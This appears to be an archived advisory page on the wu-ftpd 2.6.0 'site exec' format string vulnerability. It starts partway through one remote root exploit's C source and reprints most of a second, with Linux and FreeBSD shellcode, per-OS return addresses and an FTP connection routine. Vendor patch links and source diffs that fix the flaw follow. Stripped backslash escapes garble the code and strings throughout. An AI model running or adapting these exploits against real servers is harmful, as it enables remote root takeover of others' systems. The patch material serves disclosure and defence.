
		    printf(\"]n\");

		    buff=(char *)realloc(buff, 4092);

		    (void)bzero(buff, 4092);

	            if(mtype)

	             ftp_mkchdir(sock,dir,shellcode);

		    printf(\"STEP 3 : Checking if we can reach our return address by format stringn\");

		    if(!magic_str){

		      magic_str=(char*)malloc(2048);

		      if(magic_str==NULL) {

		        perror(\"malloc\");

		        exit(errno);

		      }

		      (void)bzero(magic_str,2048);

		      for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){

		       switch(getit.magic_d[i]) {

		        case 1:

		           for(num=0;num<getit.magic[i];num++)strcat(magic_str,\"%.f\");

		           break;

		        case 2:

		           for(num=0;num<getit.magic[i];num++)strcat(magic_str,\"%c\");

		           break;

		        case 3:

		           for(num=0;num<getit.magic[i];num++)strcat(magic_str,\"%d\");

		           break;

		        case 4:if(padding<0)padding=getit.magic[i];break;

		        default:fprintf(stderr,\"STEP 3: INternal errorn\");

		           exit(1);

		           break;

	 	      }

		     }

		    }

		    if(padding<0){

		      for(num=0;num<MAX_MAGIC&&getit.magic_d[num]!=4;num++);

		      if(num<(MAX_MAGIC-1))

		        padding=getit.magic[num];

		      else

		        fprintf(stderr,\"WARNING: PROBLEMS WITH PADDINGn\");

		    }

	

		    if(!getit.islinux){

	 	     if(!testmode)

		       snprintf(buff,4096,\"site exec %.*s%c%c%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,\"%p\");

		     else

		       snprintf(buff,4096,\"site exec %.*s%c%c%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,\"%p\");

		    } else {

	 	     if(!testmode)

		       snprintf(buff,4096,\"site exec %.*s%c%cxff%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,\"%p\");

		     else

		       snprintf(buff,4096,\"site exec %.*s%c%cxff%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,\"%p\");

		    }

		    sleep(getit.delay);

		    fflush(stdout);

		    if((buff_p=(char *)malloc(4096))==NULL){

		      fprintf(stderr,\"malloc failed.n\");

		      exit(1);

		    }

		    (void)bzero(buff_p,4096);

		    ftp_siteexec(sock,buff,strlen(buff),1,buff_p,4095);

		    if((buff_p2=strchr(buff_p,\'r\'))!=NULL)

		     *buff_p2=(char)0;

		    if((buff_p2=strchr(buff_p,\'n\'))!=NULL)

		     *buff_p2=(char)0;

		    buff_p2=strstr(buff_p,\"|0x\");

		    if(buff_p2==NULL){

		      fprintf(stderr,\"Fix me, incorrect response from \'%%p\':%sn\",buff_p);

		      exit(1);

		    }

		    buff_p2+=3;

		    if(!testmode)

		      printf(\"STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)n\",buff_p2,getit.addr_ret_addr);

		    else

		      printf(\"STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)n\",buff_p2,getit.pass_addr);

		    sleep(getit.delay);

		    buff_p2=strstr(buff, \"%.f\");

		    *buff_p2++=(char )0;

		    strcpy(buff_p, buff);

		    if(!testmode)

		      sprintf(buff_p+strlen(buff_p),\"%s%u%c\",\"%d%.\",(u_int)getit.pass_addr,\'d\');

		    else

		      sprintf(buff_p+strlen(buff_p),\"%s\",\"%d%d\");

		    strcpy(buff_p+strlen(buff_p), buff_p2);

		    buff_p2=strchr(buff_p,\'|\');

		    buff_p2++;

		    printf(\"STEP 5 : Sending code.. this will take about 10 seconds.n\");

		    if(!testmode){

		      strcpy(buff_p2,\"%nrn\");

		      ftp_send(sock,buff_p,strlen(buff_p),0,NULL,0);

		    } else {

		      (void)bzero(buff,4096);

		      strcpy(buff_p2,\"%srn\");

		      ftp_send(sock,buff_p,strlen(buff_p),1,buff,4092);

		      printf(\"got answer: %sn\",buff);

		      exit(0);

		    }

		    free(buff_p);

		    free(buff);

		    signal(SIGINT, SIG_IGN);

		    signal(SIGHUP, SIG_IGN);

		    printf(RED\"Press ^\\ to leave shell\"NORM\"n\");

		    process_possibly_rooted(sock);

		    return 0;

	    }

	

	    Yet another code:

	
	    /*

	     * (c) 2000 venglin / b0f

	     * http://b0f.freebsd.lublin.pl

	     *

	     * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT (22/06/2000)

	     *

	     * Idea and preliminary version of exploit by tf8

	     *

	     * Greetz: Lam3rZ, TESO, ADM, lcamtuf, karpio.

	     * Dedicated to ksm.

	     *

	     * **PRIVATE**DO*NOT*DISTRIBUTE**

	     */

	    

	    #include <stdio.h>

	    #include <stdlib.h>

	    #include <stdarg.h>

	    #include <string.h>

	    #include <sys/types.h>

	    #include <sys/socket.h>

	    #include <netinet/in.h>

	    #include <netdb.h>

	    #include <unistd.h>

	    #include <arpa/inet.h>

	    

	    

	    #define repln	if (getreply(0) < 0) return -1

	    #define replv	if (getreply(1) < 0) return -1

	    

	    #ifdef DEBUG

	    #define repl replv

	    #else

	    #define repl repln

	    #endif

	    

	    char usage[] = \"usage: bobek [-l login] [-o port] [-t type] hostname\";

	    char recvbuf[BUFSIZ], sendbuf[BUFSIZ];

	    FILE *cin, *cout;

	    

	    char linuxcode[]= /* Lam3rZ chroot() code */

		    \"x31xc0x31xdbx31xc9xb0x46xcdx80x31xc0x31xdb\"

		    \"x43x89xd9x41xb0x3fxcdx80xebx6bx5ex31xc0x31\"

		    \"xc9x8dx5ex01x88x46x04x66xb9xffx01xb0x27xcd\"

		    \"x80x31xc0x8dx5ex01xb0x3dxcdx80x31xc0x31xdb\"

		    \"x8dx5ex08x89x43x02x31xc9xfexc9x31xc0x8dx5e\"

		    \"x08xb0x0cxcdx80xfexc9x75xf3x31xc0x88x46x09\"

		    \"x8dx5ex08xb0x3dxcdx80xfex0exb0x30xfexc8x88\"

		    \"x46x04x31xc0x88x46x07x89x76x08x89x46x0cx89\"

		    \"xf3x8dx4ex08x8dx56x0cxb0x0bxcdx80x31xc0x31\"

		    \"xdbxb0x01xcdx80xe8x90xffxffxffx30x62x69x6e\"

		    \"x30x73x68x31x2ex2ex31x31x76x65x6ex67x6cx69\"

		    \"x6e\";

	    

	    char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */

		    \"x31xc0x50x50x50xb0x7excdx80x31xdbx31xc0x43\"

		    \"x43x53x4bx53x53xb0x5axcdx80xebx77x5ex31xc0\"

		    \"x8dx5ex01x88x46x04x66x68xffx01x53x53xb0x88\"

		    \"xcdx80x31xc0x8dx5ex01x53x53xb0x3dxcdx80x31\"

		    \"xc0x31xdbx8dx5ex08x89x43x02x31xc9xfexc9x31\"

		    \"xc0x8dx5ex08x53x53xb0x0cxcdx80xfexc9x75xf1\"

		    \"x31xc0x88x46x09x8dx5ex08x53x53xb0x3dxcdx80\"

		    \"xfex0exb0x30xfexc8x88x46x04x31xc0x88x46x07\"

		    \"x89x76x08x89x46x0cx89xf3x8dx4ex08x8dx56x0c\"

		    \"x52x51x53x53xb0x3bxcdx80x31xc0x31xdbx53x53\"

		    \"xb0x01xcdx80xe8x84xffxffxffx30x62x69x6ex30\"

		    \"x73x68x31x2ex2ex31x31x76x65x6ex67x6cx69x6e\";

	    

	    struct platforms

	    {

		    char *os;

		    char *version;

		    char *code;

		    int align;

		    int eipoff;

		    long ret;

		    long retloc;

		    int sleep;

	    };

	    

	    struct platforms targ[] =

	    {

		    { \"FreeBSD 3.4-STABLE\", \"2.6.0-ports\", bsdcode, 2, 1024, 0x80b1f10,

			    0xbfbfcc04, 0 },

		    { \"FreeBSD 5.0-CURRENT\", \"2.6.0-ports\", bsdcode, 2, 1024, 0x80b1510,

			    0xbfbfec0c, 0 },

		    { \"FreeBSD 3.4-STABLE\", \"2.6.0-packages\", bsdcode, 2, 1024, 0x80b1510,

			    0xbfbfe798, 0 },

		    { \"FreeBSD 3.4-STABLE\", \"2.6.0-venglin\", bsdcode, 2, 1024, 0x807078c,

			    0xbfbfcc04, 0 },

		    { \"RedHat Linux 6.2\", \"2.6.0-RPM\", linuxcode, 2, 1024, 0x80759e0,

			    0xbfffcf74, 0 },

		    { \"RedHat Linux 6.2\", \"2.6.0-RPM\", linuxcode, 2, 1024, 0x80759e0,

			    0xbfffd074, 0 },

	    

		    { NULL, NULL, NULL, 0, NULL, NULL, 0 }

	    };

	    

	    long getip(name)

	    char *name;

	    {

		    struct hostent *hp;

		    long ip;

		    extern int h_errno;

	    

		    if ((ip = inet_addr(name)) < 0)

		    {

			    if (!(hp = gethostbyname(name)))

			    {

				    fprintf(stderr, \"gethostbyname(): %sn\",

					    strerror(h_errno));

				    exit(1);

			    }

			    memcpy(&ip, (hp->h_addr), 4);

		    }

	    

		    return ip;

	    }

	    

	    int connecttoftp(host, port)

	    char *host;

	    int port;

	    {

		    int sockfd;

		    struct sockaddr_in cli;

	    

		    bzero(&cli, sizeof(cli));

		    cli.sin_family = AF_INET;

		    cli.sin_addr.s_addr=getip(host);

		    cli.sin_port = htons(port);

	    

		    if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)

		    {

			    perror(\"socket\");

			    return -1;

		    }

	    

		    if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)

		    {

	                    perror(\"connect\");

			    close(sockfd);

			    return -1;

		    }

	    

		    cin = fdopen(sockfd, \"r\");

		    cout = fdopen(sockfd, \"w\");

	    

		    if (!cin || !cout)

		    {

			    close(sockfd);

			    return -1;

		    }

	    

		    return sockfd;

	    }

	    

	    int command(const char *fmt, ...)

	    {

		    char buf1[BUFSIZ], buf2[BUFSIZ*2], *p, *q;

	    

		    va_list args;

	    

		    if (!cout)

			    return -1;

	    

		    bzero(buf1, BUFSIZ);

		    bzero(buf2, BUFSIZ*2);

	    

		    va_start(args, fmt);

		    vsnprintf(buf1, BUFSIZ, fmt, args);

		    va_end(args);

	    

		    for (p=buf1,q=buf2;*p;p++,q++)

		    {

			    if (*p == \'xff\')

			    {

				    *q++ = \'xff\';

				    *q = \'xff\';

			    }

			    else

				    *q = *p;

		    }

	    

		    fprintf(cout, \"%s\", buf2);

	    

	    #ifdef DEBUG

		    fprintf(stderr, \"--> \");

		    fprintf(stderr, \"%s\", buf2);

		    fputc(\'n\', stderr);

	    #endif

	    

		    fputs(\"rn\", cout);

		    (void)fflush(cout);

		    return 0;

	  

SOLUTION

	    2.6.1 has no this bug.

	

	    For RedHat:

	
	      Red Hat Linux 5.2:

	        i386: ftp://updates.redhat.com/5.2/i386/wu-ftpd-2.6.0-2.5.x.i386.rpm

	        alpha: ftp://updates.redhat.com/5.2/alpha/wu-ftpd-2.6.0-2.5.x.alpha.rpm

	        sparc: ftp://updates.redhat.com/5.2/sparc/wu-ftpd-2.6.0-2.5.x.sparc.rpm

	        sources: ftp://updates.redhat.com/5.2/SRPMS/wu-ftpd-2.6.0-2.5.x.src.rpm

	

	      Red Hat Linux 6.2:

	        i386: ftp://updates.redhat.com/6.2/i386/wu-ftpd-2.6.0-14.6x.i386.rpm

	        alpha: ftp://updates.redhat.com/6.2/alpha/wu-ftpd-2.6.0-14.6x.alpha.rpm

	        sparc: ftp://updates.redhat.com/6.2/sparc/wu-ftpd-2.6.0-14.6x.sparc.rpm

	        sources: ftp://updates.redhat.com/6.2/SRPMS/wu-ftpd-2.6.0-14.6x.src.rpm

	

	    You are supposed  to use the  latest fixes for  your major release

	    number.  So if you run 6.0  or 6.1 you must use the 6.2  fixes. So

	    there IS  a fix  for 6.1  and 6.0  available.   If you use RH 4.2,

	    sorry, but no patch this time.

	

	    For Debian GNU/Linux 2.1 alias slink:

	
	      Source archives:

	        http://security.debian.org/dists/slink/updates/source/wu-ftpd-academ_2.4.2.16-13.1.diff.gz

	        http://security.debian.org/dists/slink/updates/source/wu-ftpd-academ_2.4.2.16-13.1.dsc

	        http://security.debian.org/dists/slink/updates/source/wu-ftpd-academ_2.4.2.16.orig.tar.gz

	

	      Intel ia32 architecture:

	        http://security.debian.org/dists/slink/updates/binary-i386/wu-ftpd-academ_2.4.2.16-13.1_i386.deb

	

	      Sun Sparc architecture:

	        http://security.debian.org/dists/slink/updates/binary-sparc/wu-ftpd-academ_2.4.2.16-13.1_sparc.deb

	

	    For Debian 2.2 alias potato:

	
	      Source archives:

	        http://security.debian.org/dists/potato/updates/main/source/wu-ftpd_2.6.0-5.1.diff.gz

	        http://security.debian.org/dists/potato/updates/main/source/wu-ftpd_2.6.0-5.1.dsc

	        http://security.debian.org/dists/potato/updates/main/source/wu-ftpd_2.6.0.orig.tar.gz

	

	      Architecture indendent archives:

	        http://security.debian.org/dists/potato/updates/main/binary-all/wu-ftpd-academ_2.6.0-5.1_all.deb

	

	      Alpha architecture:

	        http://security.debian.org/dists/potato/updates/main/binary-alpha/wu-ftpd_2.6.0-5.1_alpha.deb

	

	      ARM architecture:

	        http://security.debian.org/dists/potato/updates/main/binary-arm/wu-ftpd_2.6.0-5.1_arm.deb

	

	      Intel ia32 architecture:

	        http://security.debian.org/dists/potato/updates/main/binary-i386/wu-ftpd_2.6.0-5.1_i386.deb

	

	      PowerPC architecture:

	        http://security.debian.org/dists/potato/updates/main/binary-powerpc/wu-ftpd_2.6.0-5.1_powerpc.deb

	

	      Sun Sparc architecture:

	        http://security.debian.org/dists/potato/updates/main/binary-sparc/wu-ftpd_2.6.0-5.1_sparc.deb

	

	    For Conectiva Linux:

	
	        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/i386/wu-ftpd-2.6.0-11cl.i386.rpm

	        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0es/i386/wu-ftpd-2.6.0-11cl.i386.rpm

	        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/i386/wu-ftpd-2.6.0-11cl.i386.rpm

	        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/i386/wu-ftpd-2.6.0-11cl.i386.rpm

	        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/i386/wu-ftpd-2.6.0-11cl.i386.rpm

	        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/servidor-1.0/i386/wu-ftpd-2.6.0-11cl.i386.rpm

	

	    For OpenLinux:

	
	      OpenLinux Desktop 2.3

	        ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/

	        ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/SRPMS

	

	      OpenLinux eServer 2.3 and OpenLinux eBuilder for ECential 3.0

	        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/

	        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/SRPMS

	

	      OpenLinux eDesktop 2.4

	        ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/

	        ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/SRPMS

	

	    For SuSE Linux (For SuSE 6.0, please use the 6.1 updates):

	
	      AXP:

	        ftp://ftp.suse.com/pub/suse/axp/update/6.1/n1/wuftpd-2.6.0-121.alpha.rpm

	        ftp://ftp.suse.com/pub/suse/axp/update/6.3/n1/wuftpd-2.6.0-121.alpha.rpm

	        ftp://ftp.suse.com/pub/suse/axp/update/6.4/n1/wuftpd-2.6.0-121.alpha.rpm

	

	      i386:

	        ftp://ftp.suse.com/pub/suse/i386/update/6.1/n1/wuftpd-2.6.0-122.i386.rpm

	        ftp://ftp.suse.com/pub/suse/i386/update/6.2/n1/wuftpd-2.6.0-121.i386.rpm

	        ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/wuftpd-2.6.0-121.i386.rpm

	        ftp://ftp.suse.com/pub/suse/i386/update/6.4/n1/wuftpd-2.6.0-122.i386.rpm

	

	      PPC:

	        ftp://ftp.suse.com/pub/suse/ppc/update/6.4/n1/wuftpd-2.6.0-121.ppc.rpm

	

	    For Slackware Linux:  The wu-ftpd daemon is part of the tcpip1.tgz

	    package  in  the  N  series.   A  new  tcpip1.tgz  package  is now

	    available in  the Slackware  7.1 tree.   Slackware team  have also

	    provided  a  seperate  patch  package  for  users who have already

	    installed  Slackware  7.1  and  just  want  the new FTP daemon.  A

	    seperate wu-ftpd-only patch package  is available in the  patches/

	    subdirectory:

	
	        ftp://ftp.slackware.com/pub/slackware/slackware-7.1/patches/

	

	    For Mandrake Linux:

	
	        6.0/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm

	        src: 6.0/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm

	        6.1/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm

	        src: 6.1/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm

	        7.0/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm

	        src: 7.0/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm

	        7.1/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm

	        src: 7.1/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm

	

	    For FreeBSD:

	
	      1) Upgrade your entire ports collection and rebuild the  wu-ftpd

	         port.

	      2) Deinstall  the old  package and  install a  new package dated

	         after the correction date (2000-07-05), obtained from:

	         ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/ftp/wu-ftpd-2.6.0.tar.gz

	         ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/ftp/wu-ftpd-2.6.0.tar.gz

	         ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/ftp/wu-ftpd-2.6.0.tar.gz

	         ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/ftp/wu-ftpd-2.6.0.tar.gz

	         ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/ftp/wu-ftpd-2.6.0.tar.gz

	      3) download a new port skeleton for the wu-ftpd port from:

	         http://www.freebsd.org/ports/

	         and use it to rebuild the port.

	

	    Two temporary ftpd binaries (for HP-UX 11.00 and HP-UX 10.20)  can

	    be found at:

	
	        ftp://ftp.cup.hp.com/dist/networking/ftp/ftpd.11.0

	        ftp://ftp.cup.hp.com/dist/networking/ftp/ftpd.10.20

	        ftp://ftp.cup.hp.com/dist/networking/ftp/ftpd.10.00-10.10

	

	    These are to be installed in /usr/lbin/ftpd, with permissions 544.

	

	    Also. be sure to upgrade to ProFTPD 1.2.0

	

	    The setproctitle bug is in OpenBSD can be solved by going to:

	
	        http://www.openbsd.org/errata.html#ftpd

	

	    Slackware Linux Project:

	
	        ftp://ftp.slackware.com/pub/slackware/slackware-7.1/patches/wu-ftpd-patch.README

	

	    For Turbo Linux:

	
	        ftp://ftp.turbolinux.com/pub/updates/4.0/security/wu-ftpd-2.6.1-1.i386.rpm

	        ftp://ftp.turbolinux.com/pub/updates/4.0/SRPMS/wu-ftpd-2.6.1-1.src.rpm

	

	    Note:  You  must  rebuild  and  install  the  RPM if you choose to

	    download and install the SRPM.   Simply installing the SRPM  alone

	    WILL NOT CLOSE THE SECURITY HOLE.

	

	    There aren\'t  any patches  for wu-ftpd-academ.   Tomasz  Grabowski

	    made  a  patch  for  that  bug  so  You  don\'t need to change Your

	    wu-ftpd-academ to wu-ftpd if You don\'t want.

	
	    --- src/ftpcmd.y.orig	Tue Jun 27 16:57:36 2000

	    +++ src/ftpcmd.y	Tue Jun 27 17:00:42 2000

	    @@ -1590,13 +1590,13 @@

	         } else {

	             int lines = 0;

	

	    -        lreply(200, cmd);

	    +	lreply(200, \"%s\", cmd);

	             while (fgets(buf, sizeof buf, cmdf)) {

	                 int len = strlen(buf);

	

	                 if (len>0 && buf[len-1]==\'n\')

	                     buf[--len] = \'\';

	    -            lreply(200, buf);

	    +	    lreply(200, \"%s\", buf);

	                 if (++lines >= 20) {

	                     lreply(200, \"*** Truncated ***\");

	                     break;

	

	    --- src/ftpd.c.orig	Tue Jun 27 17:05:30 2000

	    +++ src/ftpd.c	Tue Jun 27 17:06:37 2000

	    @@ -1775,7 +1775,7 @@

	             reply(230, \"User %s logged in.%s\", pw->pw_name, guest ?

	                   \"  Access restrictions apply.\" : \"\");

	             sprintf(proctitle, \"%s: %s\", remotehost, pw->pw_name);

	    -        setproctitle(proctitle);

	    +	setproctitle(\"%s\", proctitle);

	             if (logging)

	                 syslog(LOG_INFO, \"FTP LOGIN FROM %s [%s], %s\",

	                        remotehost, remoteaddr, pw->pw_name);

	    @@ -3337,7 +3337,7 @@

	

	         remotehost[sizeof(remotehost)-1]=\'\';

	         sprintf(proctitle, \"%s: connected\", remotehost);

	    -    setproctitle(proctitle);

	    +    setproctitle(\"%s\", proctitle);

	

	     #if 0	/* this is redundant unless the caller doesn\'t do *anything*, and

	 	       tcpd will pick it up and deal with it better anyways. _H*/

	

	    However, wu-ftpd-academ is a dead branch and you should update  to

	    2.6.0 or higher.

	

	    Try this one to workaround:

	
	    diff -ur wu-ftpd-orig/src/ftpcmd.y wu-ftpd-2.6.0/src/ftpcmd.y

	    --- wu-ftpd-orig/src/ftpcmd.y	Wed Oct 13 08:15:28 1999

	    +++ wu-ftpd-2.6.0/src/ftpcmd.y	Thu Jun 22 22:44:41 2000

	    @@ -1926,13 +1926,13 @@

	 	    }

	 	    if (!maxfound)

	 	        maxlines = defmaxlines;

	    -	lreply(200, cmd);

	    +	lreply(200, \"%s\", cmd);

	 	    while (fgets(buf, sizeof buf, cmdf)) {

	 	        size_t len = strlen(buf);

	

	 	        if (len > 0 && buf[len - 1] == \'n\')

	 		    buf[--len] = \'\';

	    -	    lreply(200, buf);

	    +	    lreply(200, \"%s\", buf);

	 	        if (maxlines <= 0)

	 		    ++lines;

	 	        else if (++lines >= maxlines) {

	    diff -ur wu-ftpd-orig/src/ftpd.c wu-ftpd-2.6.0/src/ftpd.c

	    --- wu-ftpd-orig/src/ftpd.c	Thu Jun 22 22:23:40 2000

	    +++ wu-ftpd-2.6.0/src/ftpd.c	Thu Jun 22 22:45:23 2000

	    @@ -3157,7 +3157,7 @@

	 	    reply(230, \"User %s logged in.%s\", pw->pw_name, guest ?

	 	          \"  Access restrictions apply.\" : \"\");

	 	    sprintf(proctitle, \"%s: %s\", remotehost, pw->pw_name);

	    -	setproctitle(proctitle);

	    +	setproctitle(\"%s\", proctitle);

	 	    if (logging)

	 	        syslog(LOG_INFO, \"FTP LOGIN FROM %s, %s\", remoteident, pw->pw_name);

	     /* H* mod: if non-anonymous user, copy it to \"authuser\" so everyone can

	    @@ -5912,7 +5912,7 @@

	

	         remotehost[sizeof(remotehost) - 1] = \'\';

	         sprintf(proctitle, \"%s: connected\", remotehost);

	    -    setproctitle(proctitle);

	    +    setproctitle(\"%s\", proctitle);

	

	         wu_authenticate();

	     /* Create a composite source identification string, to improve the logging

	

	    For NetBSD:

	
	        ftp://ftp.netbsd.org/pub/NetBSD/packages/pkgsrc/net/wu-ftpd/README.html

	

	    Since the OPIE software  doesn\'t appear to be  actively maintained

	    any more, here\'re (trivial)  patches to the recent  setproctitle()

	    thing.   Actually this  is against  the version  from the  FreeBSD

	    source tree,  so the  offsets may  be a  bit different.   We don\'t

	    actually compile  this code  in FreeBSD,  it\'s just  along for the

	    ride under /usr/src/contrib with the  other OPIE stuff that we  do

	    use.

	
	    Index: opieftpd.c

	    ===================================================================

	    RCS file: /home/ncvs/src/contrib/opie/opieftpd.c,v

	    retrieving revision 1.3

	    diff -u -r1.3 opieftpd.c

	    --- opieftpd.c	2000/04/10 11:18:47	1.3

	    +++ opieftpd.c	2000/07/10 07:23:02

	    @@ -633,7 +633,7 @@

	     #if DOTITLE

	         snprintf(proctitle, sizeof(proctitle), \"%s: anonymous/%s\", remotehost,

	 	    passwd);

	    -    setproctitle(proctitle);

	    +    setproctitle(\"%s\", proctitle);

	     #endif	/* DOTITLE */

	         syslog(LOG_NOTICE, \"ANONYMOUS FTP login from %s with ID %s\",

	                 remotehost, passwd);

	    @@ -644,7 +644,7 @@

	

	     #if DOTITLE

	         snprintf(proctitle, sizeof(proctitle), \"%s: %s\", remotehost, pw->pw_name);

	    -    setproctitle(proctitle);

	    +    setproctitle(\"%s\", proctitle);

	     #endif	/* DOTITLE */

	         syslog(LOG_INFO, \"FTP login from %s with user name %s\", remotehost, pw->pw_name);

	       }

	    @@ -1262,7 +1262,7 @@

	       remotehost[sizeof(remotehost) - 1] = \'\';

	     #if DOTITLE

	       snprintf(proctitle, sizeof(proctitle), \"%s: connected\", remotehost);

	    -  setproctitle(proctitle);

	    +  setproctitle(\"%s\", proctitle);

	     #endif	/* DOTITLE */

	

	       t = time((time_t *) 0);

	

	


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH